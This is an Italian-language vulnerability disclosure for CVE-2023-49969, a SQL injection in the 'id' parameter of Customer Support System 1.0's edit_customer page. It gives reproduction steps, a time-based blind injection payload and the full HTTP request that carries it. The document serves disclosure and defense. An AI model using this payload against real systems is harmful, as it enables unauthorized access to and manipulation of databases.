CVE-2023-49969

Customer Support System 1.0 - Vulnerabilità di SQL Injection in edit_customer tramite il parametro URL "id"

Descrizione: Esiste una vulnerabilità di SQL Injection nella versione 1 del Customer Support System. Un attaccante con intenzioni maligne può eseguire comandi SQL sul database MySQL manipolando il parametro URL 'id' durante la modifica di un cliente.

Versione del prodotto vulnerabile: Customer Support System 1.0
Autore CVE: Geraldo Alcântara
Data: 28/11/2023
Confermato il: 19/12/2023
CVE: CVE-2023-49969
Testato su: Windows

Passaggi per la riproduzione:

1- Accedere all'applicazione.
2- Navigare alla pagina customer_list, fare clic sul pulsante "Action" e selezionare "Edit".
3- Il parametro 'id' verrà passato, consentendo l'inserimento di un payload dannoso.
payload: (select*from(select(sleep(5)))a)

Richiesta

GET /customer_support/index.php?page=edit_customer&id=(select*from(select(sleep(5)))a HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=customer_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
Upgrade-Insecure-Requests: 1

Scopritore(i)/Crediti:
Geraldo Alcântara